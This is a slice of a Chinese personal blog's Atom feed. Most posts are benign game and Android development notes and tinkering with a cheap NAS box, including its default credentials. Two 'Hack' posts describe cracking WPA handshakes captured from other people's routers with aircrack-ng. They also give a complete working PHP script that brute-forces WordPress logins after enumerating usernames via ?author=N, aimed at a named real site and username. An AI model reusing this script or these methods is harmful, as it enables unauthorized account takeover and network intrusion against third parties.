到eclipse</div><br><div>复制D:\Game\cocos2d-x-2.2.1\samples\Javascript\Shared\games\MoonWarriors 下所有的文件到 assets下，然后编译就ok。</div><br><div>参考文章：</div><br><div><a href="http://www.ptoh.net/blog/index.php/archives/80" target="_blank" rel="external">http://www.ptoh.net/blog/index.php/archives/80</a></div><br><div><a href="http://bbs.chinaunix.net/thread-4069373-1-1.html" target="_blank" rel="external">http://bbs.chinaunix.net/thread-4069373-1-1.html</a></div><br><div></div><br><div></div><br><div></div><br><div>最后，推荐一些很好的学习cocos2d的网站：</div><br><div>官方的：</div><br><div><a href="http://www.cocos2d-x.org/wiki/Developers_Manual?version=67" target="_blank" rel="external">http://www.cocos2d-x.org/wiki/</a></div><br><div>api：</div><br><div><a href="http://www.cocos2d-x.org/wiki/Reference" target="_blank" rel="external">http://www.cocos2d-x.org/wiki/Reference</a></div><br><div></div><br><div>子龙山人 翻译了很多官方和国外的教程 ：</div><br><div><a href="http://www.cnblogs.com/zilongshanren/" target="_blank" rel="external">http://www.cnblogs.com/zilongshanren/</a></div><br><div></div><br><div>cocostudio 中文版使用手册 ：</div><br><div><a href="http://upyun.cocimg.com/CocoStudio/helpdoc/v1.0.0.0/zh/index.html" target="_blank" rel="external">http://upyun.cocimg.com/CocoStudio/helpdoc/v1.0.0.0/zh/index.html</a></div><br><div>上面的会了这里不是很需要，除非有其他问题就看这个：</div><br><div><a href="http://www.cocoachina.com/bbs/read.php?tid=161616" target="_blank" rel="external">http://www.cocoachina.com/bbs/read.php?tid=161616</a></div><br><div></div><br><div>泰然之家 翻译或者原创的文章:</div><br><div> <a href="http://www.ityran.com/archives/3863" target="_blank" rel="external">http://www.ityran.com/archives/3863</a></div><br><div><a href="http://www.ityran.com/tutorials" target="_blank" rel="external">http://www.ityran.com/tutorials</a></div><br><div></div><br><div>交流论坛可能还是要去官方论坛，感觉国内的不是特别活跃，不过html5china 可以@陈升想，感谢大大回复我。</div><br><div><a href="http://www.cocoachina.com/bbs/thread.php?fid=41" target="_blank" rel="external">http://www.cocoachina.com/bbs/thread.php?fid=41</a></div><br><div><a href="http://www.cocos2d-x.org/forums" target="_blank" rel="external">http://www.cocos2d-x.org/forums</a></div><br><div></div>]]></content>
    <summary type="html">
    <![CDATA[<div>继续学习cocos2d-html5，想先熟悉一下jsbing。所以需要配置一下安装环境。主要还是 web 和 android，因为我也只会这2个，其他的都没有设备测试。</div><br><div>这里有一个官方文档的，但是似乎没成功，所以还是要靠自己：</div><b]]>
    </summary>
    
      <category term="开发" scheme="http://doubles.me/tags/%E5%BC%80%E5%8F%91/"/>
    
      <category term="android" scheme="http://doubles.me/tags/android/"/>
    
      <category term="cocos2d" scheme="http://doubles.me/tags/cocos2d/"/>
    
      <category term="Code" scheme="http://doubles.me/categories/Code/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[Android图表解决方案]]></title>
    <link href="http://doubles.me/2013/11/29/912/"/>
    <id>http://doubles.me/2013/11/29/912/</id>
    <published>2013-11-29T04:56:50.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>由于要用到一个图表程序，花了几天时间，分享一下过程。</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/11/QQ20131129145508.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/11/QQ20131129145508.png" alt="QQ20131129145508"></a></p>
<p>A.使用achartengine<br>这是一个开源的图表引擎。以前用过，不过有个bug，更新不是很频繁。就是可以通过拖动把图表的x，y上限给扩充，禁止触控事件都不行。<br>而且使用很麻烦的说，看了他代码就知道，又丑又长。丑的令人发指。</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/11/QQ20131202110923.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/11/QQ20131202110923.png" alt="QQ20131202110923"></a></p>
<p>后面改写了另外的版本看起来还不错，不过这个下限可以被无限拖拽让人不能忍。</p>
<p>B.使用webview+ichartjs<br>差不多是通用的啦，嵌入一个webview，然后禁用掉所有的缩放功能，只打开javascript。<br>滚动条，视差，缩放，统统不要，屏幕的适配通过网页来完成。<br>原本是highcharts的，效果更好 而且网页变化能自动适配，不要再次redraw了，但是手机上不显示，换ichartjs了。</p>
<p>Android 2.x doesn’t have SVG support built in, so we have created a separate renderer based on the canvg library for this system. This solution has some limitations:</p>
<p>也就是说highcharts 是svg画的，ichartjs 是canvas画的，而手机一般是都支持canvas，所以这里看到html5的好处了，ichartjs就是html5的嘛。<br>把ichartjs 放在assets目录，网页写好一起放这里面，然后webview加载就ok。<br>// 设置缩放<br>settings.setSupportZoom(false);<br>settings.setBuiltInZoomControls(false);</p>
<p>// 设置加载进来的页面自适应手机屏幕<br>settings.setLoadWithOverviewMode(false);<br>settings.setUseWideViewPort(false);</p>
<p>看代码<br>public void onCreate(Bundle savedInstanceState) {<br>super.onCreate(savedInstanceState);<br>setContentView(R.layout.activity_chart_web);<br>setRequestedOrientation(ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE); // 强制横屏<br>webView = (WebView) findViewById(R.id.chart_webView);</p>
<p>webView.setHorizontalScrollBarEnabled(false);//水平不显示<br>webView.setVerticalScrollBarEnabled(false); //垂直不显示</p>
<p>WebSettings settings = webView.getSettings();</p>
<p>// 设置字符集编码<br>settings.setDefaultTextEncodingName(“UTF-8”);</p>
<p>// 开启JavaScript支持<br>settings.setJavaScriptEnabled(true);</p>
<p>webView.getSettings().setRenderPriority(RenderPriority.HIGH);</p>
<p>// 设置缩放<br>settings.setSupportZoom(false);<br>settings.setBuiltInZoomControls(false);</p>
<p>// 设置加载进来的页面自适应手机屏幕<br>settings.setLoadWithOverviewMode(false);<br>settings.setUseWideViewPort(false);</p>
<p>webView.requestFocus();<br>webView.loadUrl(“file:///android_asset/chart.html”);</p>
<p>}</p>
<p>不过依然有问题，<br>1个是webview还是可以通过双指缩放，可以通过重写onTouchEvent干掉他，不过我还没搞。<br><a href="http://stackoverflow.com/questions/5125851/enable-disable-zoom-in-android-webview" target="_blank" rel="external">http://stackoverflow.com/questions/5125851/enable-disable-zoom-in-android-webview</a><br>2个是webview加载js实在是太慢了，由于图表是js生成的，所以模拟器差不多5s才能显示，手机上到块很多，1-2s的样子。<br>这个样子确实不行，百度也没找到好方法，就将就一下啦。<br>3.这个解决了，很奇怪的问题，activity结束后webview不会销毁，然后再次打开这个activity就各种不正常，所以最后webView.onDestroy()掉</p>
<p>下面是讲下与js的交互实现过程，虽然有addJavascriptInterface() 可以使用，但是没有返回值的，js调用java才有返回值。<br>既然没有返回值，就用个简单的方法，<br>public void update(View view) {<br>webView.loadUrl(“javascript:setContentInfo(‘“ + getRemoteData() + “‘)”);<br>}<br>明白没？就是地址栏打个js进去，这样就实现了数据的更新。然后在getRemoteData()中封装好一个json数据 一定要返回String。</p>
]]></content>
    <summary type="html">
    <![CDATA[<p>由于要用到一个图表程序，花了几天时间，分享一下过程。</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/11/QQ20131129145508.png" target="_blank" rel="exter]]>
    </summary>
    
      <category term="android" scheme="http://doubles.me/tags/android/"/>
    
      <category term="Code" scheme="http://doubles.me/categories/Code/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[泡泡云盒子折腾笔记]]></title>
    <link href="http://doubles.me/2013/11/23/903/"/>
    <id>http://doubles.me/2013/11/23/903/</id>
    <published>2013-11-23T03:17:42.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>双11买的泡泡云，易迅29块钱一个。配置还不错，今天才有网线来折腾一下。</p>
<h1 id="晒个配置"><a href="#晒个配置" class="headerlink" title="晒个配置"></a>晒个配置</h1><p>CPU arm926EJ（SoC是AK9806），大概350Mhz（详细看下面）。</p>
<p>内置2GByte的flash存储(df查看剩余用户可用1.67G)，256M内存(free查看剩余190M)，ARMV5TE指令集支持，双USB（另一个标记为供电口的需要拆开外壳短接两个电阻位：NR127，NR128）。</p>
<p>ssh 连接上去看看。</p>
<p>SSH  root:123456</p>
<p>Samba root:Popobox</p>
<p>Welcome to PopoCloud!</p>
<p>[root@PopoCloud ~]# cat /proc/cpuinfo<br>Processor : ARM926EJ-S rev 5 (v5l)<br>BogoMIPS : 179.40<br>Features : swp half thumb fastmult edsp java<br>CPU implementer : 0x41<br>CPU architecture: 5TEJ<br>CPU variant : 0x0<br>CPU part : 0x926<br>CPU revision : 5</p>
<p>Hardware : BOARD_AK9801ATHENA<br>Revision : 0000<br>Serial : 0000000000000000</p>
<p>&nbsp;</p>
<p>[root@PopoCloud ~]# df -m<br>Filesystem 1M-blocks Used Available Use% Mounted on<br>/dev/root 349 205 144 59% /<br>tmpfs 64 0 64 0% /tmp<br>tmpfs 1 0 1 0% /dev<br>tmpfs 16 0 16 3% /var/volatile<br>tmpfs 0 0 0 0% /mnt/disks<br>/dev/sda1 7615 122 7493 2% /mnt/disks/sda1<br>/dev/mtdblock1 1672 11 1661 1% /mnt/flash</p>
<p>&nbsp;</p>
<p>[root@PopoCloud ~]# uname -a<br>Linux PopoCloud 2.6.32.9-ak98 #6 PREEMPT Tue Aug 14 14:27:10 CST 2012 armv5tejl GNU/Linux</p>
<p>&nbsp;</p>
<p>[root@PopoCloud ~]# dmesg | grep ‘CPU’<br>CPU: ARM926EJ-S [41069265] revision 5 (ARMv5TEJ), cr=00053177<br>CPU: VIVT data cache, VIVT instruction cache<br>ANYKA CPU AK9801 (id 0x20090c00)<br>SLUB: Genslabs=11, HWalign=32, Order=0-3, MinObjects=0, CPUs=1, Nodes=1<br>CPU: Testing write buffer coherency: ok<br>AK98: PLL 360 MHz, CPU Core 360 MHz, MEM 180 MHz, ASIC 90 MHz<br>NAND driver:L2_CPU_MODE<br>CPU Core &gt; 340 MHz</p>
<p>&nbsp;</p>
<h1 id="1-装个迅雷"><a href="#1-装个迅雷" class="headerlink" title="1.装个迅雷"></a>1.装个迅雷</h1><p>以下命令在putty里一条条复制粘帖就行了。</p>
<p>脚本会自动处理thunder_mounts.cfg，无需手动。</p>
<p>1.首先插上移动存储设备并挂载到目录（方法自己Google）</p>
<p>2.下载管理脚本<br>mkdir -p /opt/bin<br>rm -rf /opt/xunlei /opt/bin/xunlei<br>wget <a href="http://lazyzhu.com/file/xunlei" target="_blank" rel="external">http://lazyzhu.com/file/xunlei</a> -P /opt/bin &amp;&amp; chmod +x /opt/bin/xunlei<br>export PATH=/opt/bin:$PATH<br>复制代码<br>3.下载部署迅雷远程主程序<br>xunlei setup<br>复制代码<br>4.启动迅雷远程下载<br>xunlei start<br>复制代码<br>5.获取迅雷远程状态信息（含激活码）<br>xunlei status<br>复制代码<br>6.关闭或重启<br>xunlei stop<br>xunlei restart<br>复制代码<br>7.开机自启动<br>xunlei boot<br>复制代码<br>再次运行可移除。</p>
<p>8.如需异常状态自动重启的话<br>xunlei crontab<br>复制代码<br>再次运行可移除。<br>查看日志<br>xunlei logs</p>
<p>/opt/xunlei/portal 可以启动迅雷</p>
<p>9.重装或升级<br>xunlei setup</p>
<p><del><span style="color: #ff0000;">一直没有启动成功，后来开了dmz，公网访问后才能得到激活码。不知道什么原因</span></del></p>
<h1 id="2-取消泡泡云服务"><a href="#2-取消泡泡云服务" class="headerlink" title="2.取消泡泡云服务"></a>2.取消泡泡云服务</h1><p>编辑文件 /root/rc.popocloud</p>
<p>注释掉</p>
<h1 id="if-stopped-“python”-then"><a href="#if-stopped-“python”-then" class="headerlink" title="if _stopped “python”; then"></a>if _stopped “python”; then</h1><h1 id="start-popocloud"><a href="#start-popocloud" class="headerlink" title="start_popocloud"></a>start_popocloud</h1><h1 id="fi"><a href="#fi" class="headerlink" title="fi"></a>fi</h1><p>reboot ，自带的服务就没了。</p>
<h1 id="3-关闭minidlna"><a href="#3-关闭minidlna" class="headerlink" title="3.关闭minidlna"></a>3.关闭minidlna</h1><p>编辑文件 /root/rc.popocloud<br>vi /root/rc.popocloud<br>编辑掉：</p>
<h1 id="if-stopped-“minidlna”-then"><a href="#if-stopped-“minidlna”-then" class="headerlink" title="if _stopped “minidlna”; then"></a>if _stopped “minidlna”; then</h1><h1 id="start-minidlna-ipaddr-amp"><a href="#start-minidlna-ipaddr-amp" class="headerlink" title="start_minidlna ${ipaddr} &amp;"></a>start_minidlna ${ipaddr} &amp;</h1><h1 id="else"><a href="#else" class="headerlink" title="else"></a>else</h1><h1 id="stop-minidlna"><a href="#stop-minidlna" class="headerlink" title="stop_minidlna"></a>stop_minidlna</h1><h1 id="fi-1"><a href="#fi-1" class="headerlink" title="fi"></a>fi</h1><p>之后保存，/etc/minidlna stop</p>
<p>并reboot，miniDlna服务就关闭了。</p>
<p>DLNA 服务器，配置文件在 /etc/minidlna.conf</p>
<h1 id="4配置-BT-下载服务-transmission"><a href="#4配置-BT-下载服务-transmission" class="headerlink" title="4配置 BT 下载服务 transmission"></a>4配置 BT 下载服务 transmission</h1><p>/etc/transmission start 启动。如果需要自启动，可以在 /etc/init.d/rc.local 最后加上这句就可以了。<br>web 访问： <a href="http://IP:9091。" target="_blank" rel="external">http://IP:9091。</a><br>如果需要手动配置，可以在： /root/transmission/config 目录下，有一个json文件可以配置；<br>建议直接 web 端配置（例如下载目录配置到你的 samba 服务器目录，下载后直接访问）<br>另外 web内容在 /root/transmission/web 下，可以更换汉化版本。</p>
<p>启动： /etc/transmission start (如果需要自启动，加入 /etc/init.d/rc.local 就可以了）</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/11/QQ20131123132532.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/11/QQ20131123132532.png" alt="QQ20131123132532"></a></p>
<h1 id="5-安装optware"><a href="#5-安装optware" class="headerlink" title="5.安装optware"></a>5.安装optware</h1><p>以下命令在putty里一条条复制粘帖就行了</p>
<p>1.下载部署OptWare<br>feed=<a href="http://ipkg.nslu2-linux.org/feeds/optware/cs08q1armel/cross/unstable" target="_blank" rel="external">http://ipkg.nslu2-linux.org/feeds/optware/cs08q1armel/cross/unstable</a><br>ipk_name=<code>wget -qO- $feed/Packages | awk &#39;/^Filename: ipkg-opt/ {print $2}&#39;</code><br>wget $feed/$ipk_name<br>tar -xOvzf $ipk_name ./data.tar.gz | tar -C / -xzvf -<br>mkdir -p /opt/tmp<br>mkdir -p /opt/etc/ipkg<br>echo “src cross $feed” &gt; /opt/etc/ipkg/feeds.conf<br>复制代码<br>2.配置环境变量<br>LD_LIBRARY_PATH=/opt/lib:/lib:/usr/lib<br>sed -i “s#LD_LIBRARY_PATH=.<em>#LD_LIBRARY_PATH=${LD_LIBRARY_PATH}#g” /etc/profile<br>PATH=/opt/bin:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin<br>sed -i “s#PATH=.</em>#PATH=${PATH}#g” /etc/profile<br>. /etc/profile</p>
<p>3.ipkg安装实例<br>ipkg update<br>ipkg install ncurses nano<br>which nano</p>
<p>提醒：目前Popobox没有不死uboot，所以操作需谨慎！</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/11/QQ20131123132532.png" target="_blank" rel="external"> </a></p>
<p>最后，总共找到了这些资料</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/11/QQ20131123133905.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/11/QQ20131123133905.png" alt="QQ20131123133905"></a></p>
<h2 id="2014-1-31更新"><a href="#2014-1-31更新" class="headerlink" title="2014.1.31更新"></a>2014.1.31更新</h2><p>回家过年更新了一遍，但是没有网络，最后蹭到了邻居家的wifi。密码是1到9.然后就考虑怎么来搞搞，最后用路由桥接了这个信号。</p>
<p>开启wds，然后扫描到ap，设置好保存，这样就可以连接上我的泡泡云了。</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/11/QQ20140131224250.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/11/QQ20140131224250.png" alt="QQ20140131224250"></a></p>
<p>开启dhcp，不启用的话我们的泡泡云没有ip，不能自动获取ip就ssh不上了。网关要选桥接的那个路由内网地址。<br><a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/11/QQ20140131224321.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/11/QQ20140131224321.png" alt="QQ20140131224321"></a></p>
<p>给本路由设置一个ip地址，确保没有ip冲突就ok。保存重启，就可以用线连接泡泡云了。<a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/11/QQ20140131224358.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/11/QQ20140131224358.png" alt="QQ20140131224358"></a></p>
]]></content>
    <summary type="html">
    <![CDATA[<p>双11买的泡泡云，易迅29块钱一个。配置还不错，今天才有网线来折腾一下。</p>
<h1 id="晒个配置"><a href="#晒个配置" class="headerlink" title="晒个配置"></a>晒个配置</h1><p>CPU arm926EJ（SoC是A]]>
    </summary>
    
      <category term="硬件" scheme="http://doubles.me/tags/%E7%A1%AC%E4%BB%B6/"/>
    
      <category term="Others" scheme="http://doubles.me/categories/Others/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[操蛋，主机商跑路了。]]></title>
    <link href="http://doubles.me/2013/11/18/901/"/>
    <id>http://doubles.me/2013/11/18/901/</id>
    <published>2013-11-18T09:04:18.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>shardhost当初的9.9美金的vps，跑路了。买的时候就在担心，果真跑路了。</p>
<p>真心操蛋，我的博客数据回档到10.03了。而且那个印刷站也没有了。</p>
<p>根本就没备份啊。</p>
]]></content>
    <summary type="html">
    <![CDATA[<p>shardhost当初的9.9美金的vps，跑路了。买的时候就在担心，果真跑路了。</p>
<p>真心操蛋，我的博客数据回档到10.03了。而且那个印刷站也没有了。</p>
<p>根本就没备份啊。</p>
]]>
    </summary>
    
      <category term="fml" scheme="http://doubles.me/tags/fml/"/>
    
      <category term="Life" scheme="http://doubles.me/categories/Life/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[vps跑wpa握手包]]></title>
    <link href="http://doubles.me/2013/10/02/891/"/>
    <id>http://doubles.me/2013/10/02/891/</id>
    <published>2013-10-02T16:33:38.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>家里断网了，装上minidwep开始搞了。</p>
<p>找到了好多个腾达的c83a35开头的路由，算了半天才发现没开wps。</p>
<p>放弃，信号实在不行，还是抓包吧。</p>
<p>抓了2个，一个以3000k/s的速度跑了23小时，出密码了额987654321。。</p>
<p>蛋碎啊，早知道先跑弱密了。</p>
<p>然后蛋疼的拿出wifi万能钥匙，又连上一个。。。。。费了半天劲。丢vps上跑吧。</p>
<p>apt-get install build-essential</p>
<p>wget <a href="http://download.aircrack-ng.org/aircrack-ng-1.1.tar.gz" target="_blank" rel="external">http://download.aircrack-ng.org/aircrack-ng-1.1.tar.gz</a></p>
<p>tar -zxvf aircrack-ng-1.1.tar.gz<br>cd aircrack-ng-1.1<br>make<br>make install</p>
<p>然后wget或者ftp上传握手包，和字典，我传了一个社工字典。</p>
<p><div>离线跑咯</div></p>
<p><div id="code_pHb">apt-get install screen</div></p>
<p></p>
<p><div id="code_t6P">screen -S wpa 新建</div></p>
<p><div id="code_aND">screen -r wpa 恢复</div></p>
<p></p>
<p><div id="code_xq2">aircrack-ng -w 字典文件名 握手包文件名</div></p>
<p><div><a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/10/QQ20131003033251.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/10/QQ20131003033251.png" alt="QQ20131003033251"></a></div><br>&nbsp;</p>
<p><br>&nbsp;</p>
]]></content>
    <summary type="html">
    <![CDATA[<p>家里断网了，装上minidwep开始搞了。</p>
<p>找到了好多个腾达的c83a35开头的路由，算了半天才发现没开wps。</p>
<p>放弃，信号实在不行，还是抓包吧。</p>
<p>抓了2个，一个以3000k/s的速度跑了23小时，出密码了额987654321。。<]]>
    </summary>
    
      <category term="hack" scheme="http://doubles.me/tags/hack/"/>
    
      <category term="Hack" scheme="http://doubles.me/categories/Hack/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[暴力破解wordpress后台]]></title>
    <link href="http://doubles.me/2013/09/27/886/"/>
    <id>http://doubles.me/2013/09/27/886/</id>
    <published>2013-09-27T15:37:53.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>主要来源是 wooyun的 <a href="http://wooyun.org/bugs/wooyun-2010-028908" target="_blank" rel="external">http://wooyun.org/bugs/wooyun-2010-028908</a></p>
<p>说说方法，先得到用户名 ，就是通过遍历这个地址的author</p>
<p><a href="http://www.lufuli.com/?author=1" target="_blank" rel="external">http://www.lufuli.com/?author=1</a></p>
<p>然后会跳转到一个地址，没错了，这个就是用户名。</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/09/QQ20130928023349.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/09/QQ20130928023349.png" alt="QQ20130928023349"></a> <a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/09/QQ20130928023648.png" target="_blank" rel="external">
</a></p>
<p>然后我使用的是php 写的脚本，遗憾的是只能单线程。</p>
<p>修改一下username，和url，准备字典就跑起来吧。</p>
<p>成功后会自动结束，查看文件log.txt里面有密码。</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2013/09/QQ20130928023648.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2013/09/QQ20130928023648.png" alt="QQ20130928023648"></a></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>代码直接放这里了。由于vps内存比较小，只能按行读取了。</p>
<p>&lt;?php</p>
<p>$username = “yekai”;<br>$file = fopen(‘pass.txt’,’r’);<br>$url = “<a href="http://lufuli.com" target="_blank" rel="external">http://lufuli.com</a>“;</p>
<p>while (!feof($file))<br>{<br>$now=fgets($file);//读入所有的内容</p>
<p>$PostUrl = $url.’/wp-login.php’;<br>$_Path_status_code = GetHttpStatusCode(Trim($PostUrl));<br>//echo $PostUrl.’ ‘.$_Path_status_code.”\n”;<br>if (‘404’ == $_Path_status_code)<br>{<br>Continue;<br>}<br>$username = Trim($username);</p>
<p>$now = Trim($now);<br>$curlPost = ‘log=’.$username.’&amp;pwd=’.urlencode($now);<br>$Rs = POST_Data($PostUrl, $curlPost);<br>$fail_tag = ‘&lt;strong&gt;’.$username.’&lt;/strong&gt;’;<br>if (stristr($Rs, ‘&lt;strong&gt;ERROR&lt;/strong&gt;: Invalid username’)) # 不存在的用户名跳过猜解<br>{<br>Break;<br>}<br>if (!stristr($Rs, $fail_tag))<br>{<br>file_put_contents(“log.txt”,$PostUrl.’ ‘.’Password:’.$now.’ # Succed!’.”\r\n”,FILE_APPEND);<br>exit();<br>}else{<br>echo ‘Password:’.$now.”failed\r\n”;<br>}</p>
<p>}</p>
<p>fclose($file);</p>
<p>&nbsp;</p>
<p>&nbsp;<br>function GetHttpStatusCode($url){<br>$curl = curl_init();<br>curl_setopt($curl,CURLOPT_URL,$url);//获取内容url<br>curl_setopt($curl,CURLOPT_HEADER,1);//获取http头信息<br>curl_setopt($curl,CURLOPT_NOBODY,1);//不返回html的body信息<br>curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);//返回数据流，不直接输出<br>curl_setopt($curl,CURLOPT_TIMEOUT,3); //超时时长，单位秒<br>curl_exec($curl);<br>$rtn= curl_getinfo($curl,CURLINFO_HTTP_CODE);<br>curl_close($curl);<br>return $rtn;<br>}<br>function POST_Data($PostUrl, $DATA)<br>{<br>$ch = curl_init();//初始化curl<br>curl_setopt($ch,CURLOPT_URL, $PostUrl);//抓取指定网页<br>curl_setopt($ch, CURLOPT_HEADER, 0);//设置header<br>curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);//要求结果为字符串且输出到屏幕上<br>curl_setopt($ch, CURLOPT_POST, 1);//post提交方式<br>curl_setopt($ch, CURLOPT_POSTFIELDS, $DATA);<br>$data = curl_exec($ch);//运行curl<br>curl_close($ch);<br>return $data;//输出结果<br>}<br>?&gt;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
]]></content>
    <summary type="html">
    <![CDATA[<p>主要来源是 wooyun的 <a href="http://wooyun.org/bugs/wooyun-2010-028908" target="_blank" rel="external">http://wooyun.org/bugs/wooyun-2010-02890]]>
    </summary>
    
      <category term="hack" scheme="http://doubles.me/tags/hack/"/>
    
      <category term="Hack" scheme="http://doubles.me/categories/Hack/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[Cocos2d-html5山寨神仙道]]></title>
    <link href="http://doubles.me/2013/09/11/879/"/>
    <id>http://doubles.me/2013/09/11/879/</id>
    <published>2013-09-11T16:46:48.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>就是把以前学习的东西总结了一下，不然就完全不知道学过什么。</p>
<p>下载<span style="font-family: 'Times New Roman';">cocos2d-html5</span><span style="font-family: 宋体;">引擎，我这里有</span><span style="font-family: 'Times New Roman';">2.14</span><span style="font-family: 宋体;">的。现在最新版本是</span><span style="font-family: 'Times New Roman';">2</span><span style="font-family: 宋体;">，</span><span style="font-family: 'Times New Roman';">15</span></p>
<p><a href="http://www.cocos2d-x.org/projects/cocos2d-x/wiki/Download" target="_blank" rel="external">http://www.cocos2d-x.org/projects/cocos2d-x/wiki/Download</a></p>
<p><a href="https://github.com/cocos2d" target="_blank" rel="external">https://github.com/cocos2d</a></p>
<p>7.5m大小<span style="font-family: 宋体;">的不带例子</span></p>
<p>目录<span style="font-family: 'Times New Roman';">samples </span><span style="font-family: 宋体;">下有他的例子，主要是有</span><span style="font-family: 'Times New Roman';">4</span><span style="font-family: 宋体;">个游戏，其中有个飞机的大家可以特别看看，对了解整个游戏过程很不错。我是看完了。</span></p>
<p>然后把<span style="font-family: 'Times New Roman';">hello word</span><span style="font-family: 宋体;">中的代码复制到根目录中，（这些不是必须的，只是我是要发布的，所以先这么干了）。删掉其他用不到的目录，最后结果是这样的。</span></p>
<p>然后 修改<span style="font-family: 'Times New Roman';">index.htm ,main.js,cocos2d.js, src/resouorce.js,src/start.js</span></p>
<p>这几个文件可以在官方说明中看到他们的关系，</p>
<p>Index.htm <span style="font-family: 宋体;">中要包含一个</span><span style="font-family: 'Times New Roman';">canvas </span></p>
<p>&lt;canvas id=”gameCanvas” width=”960” height=”512”&gt;</p>
<p>然后引入我们的<span style="font-family: 'Times New Roman';">cocos2d.js</span></p>
<p>&lt;script src=”cocos2d.js”&gt;&lt;/script&gt;</p>
<p>Cocos2d.js</p>
<p>这个文件中要修改我们 <span style="font-family: 'Times New Roman';">canvas </span><span style="font-family: 宋体;">的</span><span style="font-family: 'Times New Roman';">id</span><span style="font-family: 宋体;">，</span><span style="font-family: 'Times New Roman';">cocos </span><span style="font-family: 宋体;">的引擎地址，和我们要包含的</span><span style="font-family: 'Times New Roman';">js</span><span style="font-family: 宋体;">文件</span></p>
<p>var cc = cc || {};</p>
<p>(function () {</p>
<p>var d = document;</p>
<p>var c = {</p>
<p>menuType:’canvas’, //whether to use canvas mode menu or dom menu</p>
<p>COCOS2D_DEBUG:2, //0 to turn debug off, 1 for basic debug, and 2 for full debug</p>
<p>showFPS:true,</p>
<p>loadExtension:true,</p>
<p>frameRate:60,</p>
<p>tag:’gameCanvas’, //the dom element to run cocos2d on</p>
<p>engineDir:’cocos2d/‘,   //<span style="font-family: 宋体;">引擎地址</span></p>
<p>appFiles:[             //<span style="font-family: 宋体;">绑定文件</span></p>
<p>‘src/resource.js’,</p>
<p>‘src/start.js’,</p>
<p>‘src/mainpage.js’</p>
<p>&nbsp;</p>
<p>]</p>
<p>};</p>
<p>window.addEventListener(‘DOMContentLoaded’, function () {</p>
<p>//first load engine file if specified</p>
<p>var s = d.createElement(‘script’);</p>
<p>/<strong><strong>*</strong></strong>Delete this section if you have packed all files into one<strong><em>*</em></strong>/</p>
<p>if (c.SingleEngineFile &amp;&amp; !c.engineDir) {</p>
<p>s.src = c.SingleEngineFile;</p>
<p>}</p>
<p>else if (c.engineDir &amp;&amp; !c.SingleEngineFile) {</p>
<p>s.src = c.engineDir + ‘platform/jsloader.js’;</p>
<p>}</p>
<p>else {</p>
<p>alert(‘You must specify either the single engine file OR the engine directory in “cocos2d.js”‘);</p>
<p>}</p>
<p>/<strong><strong>*</strong></strong>Delete this section if you have packed all files into one<strong><em>*</em></strong>/</p>
<p>&nbsp;</p>
<p>//s.src = ‘Packed_Release_File.js’; //IMPORTANT: Un-comment this line if you have packed all files into one</p>
<p>&nbsp;</p>
<p>d.body.appendChild(s);</p>
<p>document.ccConfig = c;</p>
<p>s.id = ‘cocos2d-html5’;</p>
<p>//else if single file specified, load singlefile</p>
<p>});</p>
<p>&nbsp;</p>
<p>})();</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>Main.js</p>
<p>这个文件是我们的入口文件，其他的都默认，</p>
<p>var myApp = new cocos2dApp(WorldScene);  <span style="font-family: 宋体;">这一句话 创建了我们定义的场景了。</span></p>
<p>&nbsp;</p>
<p>WordScene <span style="font-family: 宋体;">在我们的</span><span style="font-family: 'Times New Roman';">start.js</span><span style="font-family: 宋体;">中定义了。</span></p>
<p>var WorldScene = cc.Scene.extend({</p>
<p>onEnter : function() {</p>
<p>this._super();</p>
<p>var layer = new MainPage();</p>
<p>this.addChild(layer);</p>
<p>}</p>
<p>});</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
